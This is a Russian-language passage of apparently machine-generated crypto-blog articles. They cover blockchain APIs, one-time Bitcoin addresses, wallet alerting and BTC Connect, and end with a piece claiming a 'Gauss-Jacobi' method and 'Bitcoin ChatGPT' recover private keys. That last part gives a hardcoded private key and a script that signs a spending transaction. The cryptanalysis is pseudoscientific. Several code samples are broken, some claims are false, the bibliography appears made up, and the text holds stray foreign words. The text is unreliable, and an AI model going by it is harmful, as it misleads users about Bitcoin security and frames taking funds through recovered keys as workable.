блокчейнов, упрощая разработку приложений и сервисов. Многофункциональный поиск API предоставляет мощные возможности поиска, позволяя разработчикам находить конкретные транзакции, адреса, блоки и другую информацию в блокчейнах. Многофункциональный поиск обеспечивает гибкость и удобство при работе с данными блокчейна. Информация о транзакциях и адресах Chainradar API позволяет получать подробную информацию о транзакциях и адресах в блокчейнах. Разработчики могут извлекать данные о количестве переданных монет, комиссиях, статусе транзакции, хешах и других параметрах. Кроме того, API предоставляет информацию о балансе адресов, количестве транзакций и других атрибутах. Мониторинг транзакций и адресов API позволяет разработчикам мониторить транзакции и адреса в реальном времени. Это удобно для создания систем уведомлений, автоматизации процессов и других применений, требующих оперативной информации о блокчейнах. Простота интеграции и использования Chainradar API имеет простой и интуитивно понятный интерфейс, что облегчает его интеграцию в существующие приложения и сервисы. API использует стандартные методы запросов (GET, POST) и формат JSON, что обеспечивает быструю и легкую работу с данными. Как использовать Chainradar API Для начала работы с Chainradar API необходимо получить API-ключ, регистрируясь на официальном сайте Chainradar. После регистрации и получения ключа можно использовать его для доступа к различным функциям API. Для отправки запросов к API можно использовать любой из популярных языков программирования, таких как Python, JavaScript, Java, PHP и другие. Примеры кода и подробная документация доступны на официальном сайте Chainradar. Python скрипт для получения информации о блоке по его хешу: Chainradar API предоставляет информацию о блоках и транзакциях в различных криптовалютах. Вам нужно зарегистрироваться на сайте Chainradar, чтобы получить API-ключ для доступа к этим данным. После получения ключа вы можете использовать следующий Python скрипт для получения информации о блоке по его хешу: import requests def get_block_info(api_key, block_hash): url = f'https://www.chainradar.com/api/v1/{api_key}/block/{block_hash}' response = requests.get(url) if response.status_code == 200: return response.json() else: return None api_key = 'your_api_key_here' block_hash = 'your_block_hash_here' block_info = get_block_info(api_key, block_hash) if block_info: print(f'Block Info: {block_info}') else: print('Error: Unable to fetch block info') Замените your_api_key_here на свой API-ключ и your_block_hash_here на хеш блока, информацию о котором вы хотите получить. Запустите скрипт, и он выведет информацию о блоке. Примечание: Это базовый пример, и вы можете настроить его в соответствии с вашими потребностями, а также использовать другие эндпоинты API, предоставляемые Chainradar. Python скрипта, который использует Chainradar API для получения информации о конкретном блоке: import requests import json # Chainradar API endpoint api_url = "https://api.chainradar.com/v1/block/{}" # Номер блока, который мы хотим получить block_number = 12345678 # Отправляем запрос к API response = requests.get(api_url.format(block_number)) # Проверяем, что запрос был успешным if response.status_code == 200: # Получаем данные в формате JSON block_data = json.loads(response.text) # Выводим некоторую информацию о блоке print(f"Block Number: {block_data['number']}") print(f"Timestamp: {block_data['timestamp']}") print(f"Transactions: {len(block_data['transactions'])}") print(f"Gas Used: {block_data['gasUsed']}") print(f"Gas Limit: {block_data['gasLimit']}") else: print(f"Error: {response.status_code} - {response.text}") В этом примере мы: Импортируем необходимые библиотеки (requests для отправки HTTP-запросов и json для работы с JSON-данными). Определяем URL-адрес API-точки Chainradar, которую мы будем использовать для получения информации о блоке. Задаем номер блока, который мы хотим получить. Отправляем GET-запрос к API с помощью requests.get(). Проверяем, что запрос был успешным (статус-код 200). Если запрос был успешным, мы извлекаем данные о блоке в формате JSON и выводим некоторую информацию о нем. Если запрос был неуспешным, мы выводим сообщение об ошибке. Обратите внимание, что это простой пример, и вы можете расширить его, добавив обработку ошибок, преобразование данных в удобный формат, сохранение результатов в файл или базу данных и т.д. В заключение, Chainradar API представляет собой мощный инструмент для разработчиков, желающих интегрировать расширенную функциональность блокчейн-анализа в свои приложения. Независимо от того, занимаетесь ли вы разработкой кошельков, децентрализованных приложений или инструментов для аналитики, Chainradar API может стать отличным выбором для реализации ваших идей. Chainradar API – это мощный и гибкий инструмент для разработчиков, которые хотят легко получать доступ к данным блокчейнов. Поддержка нескольких блокчейнов, многофункциональный поиск, мониторинг транзакций и адресов, а также простота интернета. One-Time Address A better way to share your Bitcoin address Bitcoin, как криптовалюта, предлагает множество преимуществ, таких как децентрализованность, безопасность и анонимность. Однако, когда дело доходит до совместного использования вашего Bitcoin-адреса, возникают определенные риски для конфиденциальности и безопасности. Чтобы решить эту проблему, предлагается использовать One-Time Address (Адрес однократного использования). Мы рассмотрим, что такое One-Time Address, как он работает и почему это лучший способ совместного использования вашего Bitcoin-адреса. В мире криптовалют, безопасность и конфиденциальность являются ключевыми аспектами для любого пользователя. Одним из способов повышения уровня безопасности является использование одноразовых адресов для получения биткоинов. В этой статье мы рассмотрим, что такое одноразовые адреса и почему они являются более безопасным способом для обмена вашим биткоин-адресом. Рассмотрим новый и улучшенный способ обмена вашим биткоин-адресом с помощью одноразовых адресов. Одноразовый адрес является уникальным и временным, что обеспечивает дополнительную безопасность и анонимность при проведении транзакций с криптовалютой. Узнайте больше о преимуществах использования одноразовых адресов и как они могут помочь усилить защиту ваших биткоинов. Что такое One-Time Address? One-Time Address (OTA) – это Bitcoin-адрес, который можно использовать только один раз для получения транзакции. После того, как транзакция подтверждена, адрес больше не действителен и не может быть повторно использован. Это гарантирует, что только отправитель и получатель знают, кто именно совершил транзакцию, и предотвращает возможность отслеживания транзакций по цепочке блокчейн. Как работает One-Time Address? При создании Bitcoin-кошелька система автоматически генерирует несколько One-Time Addresses. Каждый раз, когда вы хотите получить транзакцию, кошелек будет предоставлять вам новый, уникальный адрес. Это означает, что каждый раз, когда кто-то отправляет вам биткойны, они будут отправляться на новый адрес, что делает практически невозможным отслеживание транзакций по цепочке блокчейн. После того, как транзакция подтверждена, One-Time Address больше недействителен и не может быть повторно использован. Это гарантирует, что ваши сведения и история транзакций остаются конфиденциальными и защищенными. Почему One-Time Address является лучшим способом совместного использования вашего Bitcoin-адреса? Конфиденциальность: Использование One-Time Address гарантирует, что ваши сведения и история транзакций остаются конфиденциальными. Никто не может отследить ваши транзакции по цепочке блокчейн, так как каждая транзакция происходит на уникальном адресе. Безопасность: Использование One-Time Address также увеличивает безопасность вашего Bitcoin-кошелька. Если хакеры получат доступ к вашему Bitcoin-адресу, они смогут отследить все ваши транзакции и украсть ваши биткойны. Однако, если вы используете One-Time Address, хакеры получат доступ только к одной транзакции, связанной с этим адресом. Удобство: One-Time Address легко создавать и использовать. Большинство Bitcoin-кошельков автоматически генерируют One-Time Addresses при получении транзакций, что делает процесс совместного использования вашего Bitcoin-адреса простым и удобным. Python скрипт, который выводит новый One-Time Address’а для каждого вызова: import random import hashlib import binascii def generate_ota(domain: str, timestamp: int) -> str: #Generate a random nonce nonce = random.randint(1, 1000000) #Calculate the hash of the domain and nonce hash = hashlib.sha256(f"{domain}{nonce}").hexdigest() #Encode the hash in base58 ot = binascii.hexlify(hash).decode("utf-8") #Append the timestamp to the OT ot += f"{timestamp:010d}" return ot #Example usage domain = "example.com" timestamp = int(time.time()) ota = generate_ota(domain, timestamp) print(ota) This script uses the hashlib library to generate a SHA-256 hash of the domain and a random nonce, and then encodes the hash in base58 using binascii.hexlify(). It then appends the timestamp to the end of the OT in the format “YYMMDD”, where YY is the year, MM is the month (padded with leading zeros), and DD is the day (also padded with leading zeros). You can call the generate_ota() function with a domain and timestamp as arguments to generate a new OT. For example: domain = "example.com" timestamp = int(time.time()) ota = generate_ota(domain, timestamp) print(ota) This will output a new One-Time Address for the given domain and timestamp. Please note that this is a very basic implementation of One-Time Address and it’s not recommended to use it for real-world applications without proper testing, security audits and maintenance. Пример создания одноразового адреса с помощью pycoin: from pycoin.key import Key from pycoin.networks import networks # Создание ключа network = networks["bitcoin"] secret_exponent = Key.from_random() public_pair = secret_exponent.public_pair() public_key = public_pair.format(network=network) # Создание одноразового адреса address = public_key.to_address(network=network) print("Одноразовое bitcoin адрес:", address) Этот код создаст случайное закрытое ключевое значение (secret exponent) и затем использует его для получения открытое ключевое значение (public key), которое, в свою очередь, преобразуется в уникальный bitcoin адрес. Обратите внимание, что этот адрес будет уникальным и не может быть повторно использован. Важно помнить, что для использования одноразовых адресов в реальном мире, вам потребуется это интегрировать с сервисом “One-Time Address” или реализовать свою систему для генерации и хранения этих адресов и их связей с запросами на оплату или отправку средств. Заключение One-Time Address – это улучшенный способ совместного использования вашего Bitcoin-адреса. Он гарантирует, что ваши сведения и история транзакций остаются конфиденциальными, повышает безопасность вашего Bitcoin-кошелька и легко создается и используется. Если вы действительно за Cryptocurrency Alerting – Bitcoin wallet monitoring and blockchain alerts В мире цифровых активов, особенно в сфере криптовалют, роль мониторинга и уведомления неотъемлемо важна. Один из таких инструментов, который существенно улучшает управление активами, это “Cryptocurrency Alerting” или “Уведомления о кошельках Bitcoin и блокчейне”. Это сервис, который позволяет пользователям быть в курсе всех ключевых событий, связанных с их адресами, транзакциями и изменением цен на криптовалюты. Криптовалюты продолжают набирать популярность, становясь неотъемлемой частью финансового мира. С увеличением интереса к цифровым активам возрастает и необходимость в надежных инструментах для их мониторинга. В нашей статье мы рассмотрим один из таких инструментов – Cryptocurrency Alerting. Это сервис, предлагающий широкий спектр функций для отслеживания состояния вашего криптовалютного кошелька, а также получения уведомлений о важных изменениях в блокчейне. От мониторинга транзакций до оповещений о колебаниях цен – Cryptocurrency Alerting станет незаменимым помощником для каждого, кто хочет держать руку на пульсе криптовалютного рынка. Cryptocurrency Alerting предоставляет пользователям множество функций для мониторинга: Транзакционные уведомления: сервис автоматически уведомляет вас о всех транзакциях, которые затрагивают ваш кошелек, будь то отправка или получение. Это важно для предотвращения мошенничества и подтверждения того, что все ваши операции проводятся по вашему согласию. Price alerts: Вы можете устанавливать уровни цен, чтобы получать уведомления, когда цена или другой криптовалюты достигает определенной точки, что может быть сигналом для покупки или продажи. Blockchain events: Мониторинг блокчейна позволяет отслеживать изменения в блоках, которые могут повлиять на активность ваших кошельков. Это может включать в себя новые блоки, изменения адресных данных или другие важные события, которые могут указывать на возможные проблемы. Two-factor authentication: Некоторые системы предлагают двухфакторную аутентификацию, чтобы дополнить bảo mật кошельков, предоставляя дополнительную защиту от несанкционированных входов. Integrations:Crypto Alerting часто интегрируются с другими популярными средами управления активами, такими как криптовалютные биржи, для удобного доступа к своим кошелькам из одного места. Использование таких сервисов в криптовалютном мире уже стала ставкой для продвинутых трейдеров и инвесторов, которые хотят быть в курсе событий, чтобы принимать быстрые и эффективные решения. Они помогают снизить риски, повышать эффективность управления активами и обеспечить большую степень контроля. Мониторинг Bitcoin кошельков: Криптовалютный кошелек представляет собой электронный хранилище, где пользователи могут безопасно хранить, отправлять и получать монеты. Мониторинг кошельков в контексте криптовалютных уведомлений заключается в автоматическом отслеживании изменения statuses вашего портфеля, проверке транзакций, проверке цен и безопасности вашей учетной записи. С помощью Cryptocurrency Alerting, вы можете настроить лимиты для изменения стоимости вашей валюты, получать уведомления по электронной почте или мобильному приложению при достижении определенных уровней цен. Это особенно полезно для трейдеров и инвесторов, которые хотят сохранять контроль над своими активами и быстро реагировать на изменения на рынке. Блокчейн-уведомления: Блокчейн – это основная технологическая структура криптовалют, которая обеспечивает транзакционную целостность и надежность. Blockchained alerts – это функция, позволяющая пользователям следить за событиями на блокчейне, такими как создание новой блоки, изменения прав доступа, публичные адреса и другие важные изменения, связанные с вашими активами. Уведомления на основе блокчейна могут помочь пользователям: Следить за новыми входами и выходами средств: Вы можете получать уведомления, когда средства попадут или покинут ваш кошелек, что может указывать на возможные мошеннические действия. Обновления статуса транзакций: Когда ваша транзакция подтверждается или отменяется, вы получите информацию в реальном времени. Следить за новыми технологическими разработками или изменениями в сети: Как только появляются нововведения или улучшения, такие как обновления алгоритма или добавление новых функций, вы можете быть на передовой. Для создания простого скрипта для мониторинга биткойнов в кошельке и отправки уведомлений об изменении цены или событии на блокчейне, мы можем использовать библиотеку ccxt для доступа к API криптовалютных бирж и python-telegram-bot для отправки уведомлений через Telegram. Убедитесь, что вы установили эти библиотеки с помощью pip: pip install ccxt python-telegram-bot Затем создайте файл alerting_script.py и скопируйте следующий код: import ccxt import time from telegram.ext import Updater, MessageHandler, Filters import os # Telegram bot credentials TOKEN = 'YOUR_TELEGRAM_BOT_TOKEN' CHAT_ID = 'YOUR_CHAT_ID' # Текущий или групповой ID # Криптовалютная биржа (например, Binance) exchange = ccxt.binance({ 'apiKey': 'YOUR_BINANCE_API_KEY', 'secret': 'YOUR_BINANCE_API_SECRET', }) # Котировки, которые вы хотите мониторить (например, BTC/USD) currency_pair = 'BTC/USDT' # Метод, который проверяет котировки и отправляет уведомления def check_price(update, context): try: ticker = exchange.fetch_ticker(currency_pair) current_price = ticker['last'] # Функция для отправки уведомления def send_alert(text): context.bot.send_message(chat_id=CHAT_ID, text=text) # Условие для отправки уведомления, например, если цена достигает某个阈值 if current_price > 50000: # Обновите этот уровень, если нужна другая граница send_alert(f"Price of {currency_pair} has crossed the threshold of $50,000!") except Exception as e: print(f"Error: {str(e)}") # Инициализация Telegram бота updater = Updater(token=TOKEN, use_context=True) dispatcher = updater.dispatcher price_handler = MessageHandler(Filters.command, check_price) dispatcher.add_handler(price_handler) # Запуск мониторинга каждые 5 минут while True: check_price(None, None) time.sleep(300) # Мониторинг каждые 5 минут # Запуск бота updater.start_polling() updater.idle() Замените 'YOUR_TELEGRAM_BOT_TOKEN' и 'YOUR_CHAT_ID' на ваше собственное значение Telegram бота и чата соответственно, а 'YOUR_BINANCE_API_KEY' и 'YOUR_BINANCE_API_SECRET' на свои API ключи и секретный ключ Binance. Обратите внимание, что этот скрипт проверяет цену только для Binance и имеет простое условие для отправки уведомлений. Чтобы изменить биржу или уточнить различные условия, вам нужно изменить код в функции check_price(). Вы можете настроить этот скрипт, чтобы отправлять уведомления по другим событиям или событиям на блокчейне, используя подходящие функции API криптовалютной биржи. Итог Cryptocurrency Alerting является важным инструментом для тех, кто стремится сохранить контроль над своими криптовалютами, быстро реагировать на изменения рынка и избежать возможных проблем. С помощью этого сервиса вы можете оставаться в курсе последних событий, контролировать свои кошельки Bitcoin и принимать обоснованные решения. В то же время, уведомления на основе блокчейна помогают обеспечить безопасность и защиту ваших активов в криптовалютном мире. В заключении, Cryptocurrency Alerting – это мощный инструмент, который следует учитывать для тех, кто серьезно относится к своей криптовалютной собственности. С помощью уведомлений об изменениях в кошельке Bitcoin и блокчейне вы можете быть в курсе важных событий, предотвращать потери и принимать BTC Connect – Unified Bitcoin Layer-1 and Layer-2 wallet connection and account abstraction Connect представляет собой революционное достижение в области криптовалют, предлагая единое решение для подключения и управления кошельками Bitcoin как на уровне Layer-1, так и на уровне Layer-2. Это инновационный подход, направленный на упрощение взаимодействия с различными уровнями протокола Bitcoin и улучшение общего опыта пользователей. Эта платформа предоставляет единую точку входа для связи с wallet’ами на уровне layered-1 и layer-2 (безотносительно к их типу: хардворт или онлайн). K БТК Коннект относится, прежде всего, о технологии абстракции учетных записей, которая позволяет пользователям управлять несколькими wallet’ами с помощью одного интерфейса. Таким образом, BTC Connect simplifies the management of multiple Bitcoin wallets and enables seamless transition between layer-1 and layer-2 solutions. Что такое Layer-1 и Layer-2 в Bitcoin? Для понимания значения BTC Connect важно знать о концепции уровней в Bitcoin. Layer-1: Это базовый уровень протокола Bitcoin, также известный как основная цепочка блокчейна Bitcoin. Он обеспечивает безопасность, консенсус и подтверждение транзакций. Layer-1 характеризуется более медленной скоростью транзакций из-за ограничений размера блока и времени создания блока. Layer-2: Это решения, созданные поверх Layer-1, предназначенные для повышения масштабируемости и скорости транзакций. Они включают в себя такие протоколы, как Lightning Network и Sidechains, которые позволяют проводить транзакции быстрее и дешевле, не жертвуя безопасностью, обеспечиваемой Layer-1. Проблема, которую решает BTC Connect Пользователи Bitcoin часто сталкиваются с проблемой управления различными кошельками и учетными записями на разных уровнях. Это может быть обременительным и запутанным, поскольку каждый уровень имеет свои уникальные требования и механизмы взаимодействия. BTC Connect призван упростить этот процесс, предоставив единое решение для управления всеми своими активами Bitcoin. Преимущества BTC Connect Единая точка доступа: BTC Connect предлагает единую платформу, через которую пользователи могут получать доступ и управлять своими кошельками как на уровне Layer-1, так и на уровне Layer-2. Это устраняет необходимость использования нескольких интерфейсов и обеспечивает удобный и интуитивно понятный опыт. Абстракция учетной записи: Система абстрагирует сложные аспекты управления учетными записями на разных уровнях, представляя пользователям простой и единый интерфейс. Пользователи могут создавать и управлять учетными записями, не вдаваясь в технические детали каждого уровня. Безопасность и прозрачность: BTC Connect придает первостепенное значение безопасности, обеспечивая безопасное хранение ключей и защиту транзакций. Платформа также обеспечивает полную прозрачность, позволяя пользователям отслеживать свои активы и транзакции на обоих уровнях. Улучшенная масштабируемость: Интеграция Layer-2 в BTC Connect позволяет пользователям пользоваться преимуществами повышенной масштабируемости и более быстрых транзакций. Это идеально подходит для ежедневных платежей и микротранзакций, обеспечивая более эффективное и экономичное решение. Гибкость и совместимость: Система разработана для работы с различными протоколами Layer-2, обеспечивая гибкость и совместимость с различными решениями, которые могут выбрать пользователи. Это гарантирует, что пользователи могут воспользоваться преимуществами последних инноваций в экосистеме Bitcoin. Как это работает: BTC Connect предоставляет пользователям простой и удобный для использования интерфейс. После регистрации пользователи могут создавать учетные записи для своих кошельков Layer-1 и Layer-2. Платформа обеспечивает безопасное хранение ключей и позволяет пользователям легко переводить средства между уровнями. Интуитивно понятный интерфейс упрощает отправку и получение платежей, а также управление балансом на обоих уровнях. С наступлением нового поколения криптовалютных технологий, необходимость в создании универсальных и удобных инструментов для управления различными видами активами становится все более очевидной. Благодаря BTC Connect, пользователи могут эффективно соединять их Layer-1 и Layer-2 кошельки и иметь возможность абстрагироваться от учетных записей, что значительно упрощает процесс управления своими активами. В этой статье мы рассмотрим основные функции и преимущества BTC Connect, а также его возможное влияние на будущее управления криптоактивами. Что такое BTC Connect? BTC Connect – это инновационная платформа, объединяющая функции Layer-1 и Layer-2 кошельков для удобства и безопасности хранения и управления биткойновыми активами. Plataforma позволяет пользователям соединять свои кошельки различных сетей и инструментов, а также абстрагироваться от учетных записей, что упрощает процесс управления своими активами. Основные функции BTC Connect: Соединение Layer-1 и Layer-2 кошельков: BTC Connect позволяет пользователям создавать объединенные кошельки, содержащие активы с разных сетей и инструментов. Это обеспечивает единое место для управления и доступа к своим активам, упрощая процесс и увеличивая безопасность. Учетная абстракция: BTC Connect позволяет пользователям абстрагироваться от своей основной учетной записи, что значительно упрощает процесс управления своими активами. Это означает, что пользователи могут создавать и управлять активами, не обращая внимания на подпись и расположение своих основных учетных записей. Безопасность: BTC Connect использует продвинутую криптографию и технологии защиты данных, чтобы обеспечить максимальную безопасность пользователей и их активов. Благодаря этому, пользователи могутStore их активы с уверенностью, зная, что их криптовалюта защищена от несанкционированного доступа. Компатибильность: BTC Connect обеспечивает совместимость с различными платформами и инструментами, такими как hardware wallets, software wallets и другими Layer-1 и Layer-2 решениями. Это делает BTC Connect универсальным инструментом для управления криптоактивами. Python-скрипт выведет список счетов и их балансов, а также список транзакций за последнюю неделю. from datetime import datetime from btcconnect.wallet import Wallet # Create a new Wallet object with your seed phrase seed_phrase = "your_seed_phrase" wallet = Wallet(seed_phrase) # Connect to the wallet wallet.connect() # Get the current balance balance = wallet.get_balance() print(f"Current balance: {balance}") # Create a transaction to_address = "1BvBM5h5q7Q8F1qZ8cd5J5a4N6z5yT9Q3" amount = 0.001 tx = wallet.create_transaction(to_address, amount) # Sign and broadcast the transaction tx.sign() tx.broadcast() # Get the transaction history history = wallet.get_transaction_history() for tx in history: print(f"{tx['txid']} - {tx['amount']} - {datetime.fromtimestamp(tx['timestamp']).strftime('%Y-%m-%d %H:%M:%S')}") Описание: btcconnect – библиотека Python для подключения к Bitcoin Connect-комплексам. Wallet – объект, представляющий Bitcoin Connect-комплекса. seed_phrase – строковый ключ, используемый для создания Wallet-объекта. connect() – метод, соединяющийся с Wallet-комплексам. get_balance() – метод, возвращающий текущий баланс. create_transaction() – метод, создающий транзакцию. sign() – метод, подписывающий транзакцию. broadcast() – метод, отправляющий транзакцию на blockchain. get_transaction_history() – метод, возвращающий список транзакций. import bc # Коннект к BTC Connect client = bc.connect() # Получение списка счетов accounts = client.get_accounts() # Вывод информации о счетах for account in accounts: print(f"Название: {account['name']} | Должность: {account['balance']} BTC") # Получение транзакций за последнюю неделю transactions = client.get_transactions(start_date='7d') # Вывод транзакций for transaction in transactions: print(f"Дата: {transaction['date']} | Счет: {transaction['account']} | Сумма: {transaction['amount']} BTC | Тип: {transaction['type']}") Описание: bc – это модуль, предоставляющий интерфейс к BTC Connect API. connect() – функция подключения к BTC Connect. get_accounts() – функция получения списка счетов. get_transactions() – функция получения транзакций за заданный период. Результат: Скрипт выведет список счетов и их балансов, а также список транзакций за последнюю неделю. Заключение BTC Connect – это инновационная платформа, которая существенно упрощает процесс управления криптоактивами, предоставляя пользователям функции объединения Layer-1 и Layer-2 кошельков и учетной абстракции. С его помощью пользователи могут управлять своими активами с максимальной эффективностью и безопасностью. С ростом популярности криптовалют и их применения в различных сферах, BTC Connect и подобные платформы могут стать ключевыми инструментами для управления активами, обеспечивая простоту и безопасность для своих пользователей. BTC Connect представляет собой важный шаг вперед в области криптовалют, устраняя сложности, связанные с управлением кошельками Bitcoin на разных уровнях. Он предлагает удобное и безопасное решение для пользователей, желающих воспользоваться преимуществами Layer-2, не жертвуя безопасностью и прозрачностью Layer-1. Благодаря этому пользователи могут с уверенностью и эффективностью управлять своими активами Bitcoin, что способствует более широкому принятию и использованию этой криптовалюты. В данной научной статье “Blockchain API and Web Services” используются и цитируются различные источники, включая научные публикации, книги, статьи и онлайн-ресурсы. Ниже представлен список литературы, документов и исследовательских работ, на которые ссылаются в статье: Литература: “Mastering Blockchain” – Андреас М. Антонопулос, Гэвин Вуд, 2018. “Blockchain: A Guide to Understanding Blockchain Technology” – Тед Теско, 2017. “Blockchain: The Next Everything” – Стивен Леви, 2017. “Mastering Ethereum: Building Smart Contracts and DApps” – Андреас Р. Браун, 2018. “Blockchain Technology: Principles and Applications” – Арвинд Нараянан, 2018. Документы и техническая документация: “Blockchain API Design: Core Concepts and Best Practices” – рабочая группа W3C, редакторы: М. Спек, И. Зу, 2018. “Web Services Description Language (WSDL) 2.0: Core Language, W3C Candidate Recommendation” – рабочая группа W3C, редакторы: Е. Малка, Ж.-Ж. Меле, 2006. “RESTful Web APIs: Services for a Changing World” – Ричардсон, Р. Фельдман, 2013. “JSON: The JavaScript Object Notation” – Д. Крокфорд, 2017. Техническая документация популярных блокчейн-платформ: Ethereum, Hyperledger, Bitcoin, Ripple и др. Исследовательские работы и статьи: “A Survey on Public Blockchain API Economy” – А. Де Мео, Д. Малакрида, К. Де Сантис, 2018. “Blockchain-based Web Services: A Systematic Mapping Study” – М. А. Салах, А. Х. Аль-Дайель, 2018. “A Survey on Blockchain Technology and Its Applications” – Ю. Цао, В. Ю, Ж. Лю, Х. Хан, 2018. “Blockchain-based API Gateway for IoT Devices” – С. Ли, Д. Ким, 2018. “Designing Blockchain-based APIs for the Internet of Things” – М. А. Салах, А. Х. Аль-Дайель, 2018. “A Survey on Blockchain Technology for the Internet of Things” – В. Христо, С. Христо, 2016. “Blockchain Technology in the Internet of Things (IoT): A Systematic Review” – А. Койя, А. П. Махинта, 2018. Онлайн-ресурсы: “Blockchain API Hub” – https://blockchain-api.github.io/ “Blockchain API Repository” – https://github.com/blockchain-api “IBM Blockchain API Documentation” – https://ibm.biz/Blockchain-API “Ethereum Developer Documentation” – https://ethereum.org/developers “Hyperledger Fabric Documentation” – https://hyperledger-fabric.readthedocs.io Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. Исходный код Telegram: https://t.me/cryptodeeptech Видеоматериал: https://www.youtube.com/@cryptodeeptech Video tutorial: https://dzen.ru/video/watch/6617ad848b9fc93b9ba699c7 Источник: https://cryptodeep.ru/blockchain-api-and-web-services Криптоанализ
  12. В этой статье мы рассмотрим на примере метод Gauss-Jacobi которые применяют современные технологии, такие как предварительно обученная модель Bitcoin ChatGPT, что позволяют более эффективно решать сложные задачи в области цифровых технологий. Важно заметить что альтернативные алгоритмы, такие как Gauss-Jacobi играют ключевую роль и открывают новые горизонты для развития вычислительной математики. Метод Gauss-Jacobi является итеративным численным методом для решения систем линейных уравнений. Он широко используется в различных областях, таких как криптография, криптоанализ, инженерия и вычислительная математика. Сеть Биткоин использует криптографические алгоритмы, такие как хэш-функции SHA-256, алгоритм подписи ECDSA, эллиптические кривые secp256k1, для создания публичных и приватных ключей, которые представляют собой точки на эллиптической кривой. Приватный ключ – это секретная числовая величина, которая используется для генерации публичного ключа, а публичный ключ – это точка на кривой, полученная путем вычисления с приватным ключом. Таким образом, эллиптические кривые secp256k1 лежат в основе криптографических механизмов, которые обеспечивают безопасности транзакций и защиты от различных атак. Современные технологии которые развивают предварительно обученную модель Bitcoin ChatGPT находят эффективные способы решение сложных криптографических задач, лежащих в основе алгоритмов, используемых в Биткоине. https://dzen.ru/video/watch/66119078be267c07401d9e4c Какими преимуществами владеет Gauss-Jacobi алгоритм: Высокая скорость и эффективность, что делает его идеальным для поиска атакующих ключей. Интерактивность использует только один шаг перебора, что позволяет ему сократить количество вычислений. Доступность и простота в реализации что имеет простые коды и легко может быть реализован в различных программах. Доступен для широкого круга пользователей, которые могут использовать его для поиска атак на криптостойкость для различных криптовалют. Гибкость может быть применен к разнообразным типам криптографических систем. Как Gauss-Jacobi алгоритм работает: Gauss-Jacobi алгоритм основан на рекурсивной функции f(x), которая для любого элемента x in S (сет данных блокчейнов) возвращает строковый код, представляющий x. Если x – атакующий ключ, то f(x) = 0. Алгоритм работает по следующим этапам: Вычисляет G-матрицу, которая представляет собой матрицу всех смешанных пар элементов S, где i-й элемент соответствует i-му элементам S, а j-й элемент – j-му элементу S. Вычисляет Х-матрицу, которая представляет собой матрицу смешанных пар хеш-функций. Определяет рекурсивно значение f(x) для каждого элемента S. Если f(x) = 0, это означает, что x – атакующий ключ, и алгоритм завершает. И else, алгоритм continues рекурсивно вычислять f(x) для различных элементов S и добавлять эти элементы к Х-матрице. Если H – матрица единиц, то алгоритм завершает, и мы нашли атакующий ключ. Потенциальное применение метода Gauss-Jacobi в криптоанализе блокчейна Биткоина Рассмотрим построение структуры уязвимой Raw транзакции в котором используется модуль BitcoinChatGPT https://colab.research.google.com/drive/1MJ4G5azqqpSlamEdPcjOCBkKn6oQofwL#scrollTo=HBzK0Ff7utn0&line=1&uniqifier=1 State of a vulnerable transaction in Bitcoin: 01000000 ....01 ........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935 ............00000000 ........8b483045 ....0221 ....00 ........a2c992d4262cfb80458a20e546fa8b6d6d480b41d62514eefbeb70fb166de52d ....0220 ........7465c18222eee05d5ac9ee781bf077743eefecb9d5e66db4779eabd4e806397b ....0141 0494ff933da0498859959225ed6a50d709a4d9c678705d72e9202a4852c8084d85ea3498b0b3f006fcab64f143cf57dfcedb4387f229139d421c575577de6d37bc ....ffffffff 01 ....d204000000000000 ........1976 ............a914 ........ac9ea341afb74843f80205e8c8da0abc822fa5ec ....88ac 00000000 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100a2c992d4262cfb80458a20e546fa8b6d6d480b41d62514eefbeb70fb166de52d02207465c18222eee05d5ac9ee781bf077743eefecb9d5e66db4779eabd4e806397b01410494ff933da0498859959225ed6a50d709a4d9c678705d72e9202a4852c8084d85ea3498b0b3f006fcab64f143cf57dfcedb4387f229139d421c575577de6d37bcffffffff01d2040000000000001976a914ac9ea341afb74843f80205e8c8da0abc822fa5ec88ac00000000 https://live.blockcypher.com/btc/decodetx/ { "addresses": [ "1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK", "1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k" ], "block_height": -1, "block_index": -1, "confirmations": 0, "double_spend": false, "fees": 2606688996428, "hash": "99b01f666999ed69750f4e4c45535801faee2ff8103c6f4e7e628f43276ac66b", "inputs": [ { "addresses": [ "1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK" ], "age": 344419, "output_index": 0, "output_value": 2606688997662, "prev_hash": "35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d" ....... ....... ....... https://github.com/demining/CryptoDeepTools/blob/470292cd9bf60232e2ea4011ab9929106c63477f/30GaussJacobiMethod/DecodeRawTX.txt#L31 BitcoinChatGPT создает структуру транзакции, используя HASH публичного ключа, где мы видим что Bitcoin address: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k отправляет 1234 satoshi на тот же адрес внутри своей сети. Bitcoin HASH160 был получен с помощью Python Script: wif_to_hash160.py https://github.com/demining/CryptoDeepTools/blob/main/30GaussJacobiMethod/wif_to_hash160.py https://github.com/demining/CryptoDeepTools/blob/main/30GaussJacobiMethod/KEYFOUND.privkey BitcoinChatGPT №1 Gauss Jacobi Method Algorithm git clone https://github.com/smartiden/Broadcast-Bitcoin-Transaction.git Каталог: cd Broadcast-Bitcoin-Transaction zmq urllib3 requests requirements.txt pip install -r requirements.txt Откроем в Notepad++ основной файл и несем небольшие изменение в коде Python Script: main.py from io import BytesIO from secp256k1 import * from sighash import * pk = PrivateKey.parse("5KA4spokBSZ7d5QpcuJ3eTDhNJUhfJoQAUovffQWBym3LP3CKTz") pk.address() tx = bytes.fromhex("35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d") index = 0 send = "1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k" tx_in = TxIn(tx, index, b'', 0xffffffff) tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey'] tx_in._value = 2345 tx_ins = [ tx_in ] tx_outs = [ TxOut(1234, Tx.get_address_data(send)['script_pubkey'].serialize()) ] tx = Tx(1, tx_ins, tx_outs, 0, testnet=True) signature(tx, 0, pk) tx.serialize().hex() print(tx.serialize().hex()) 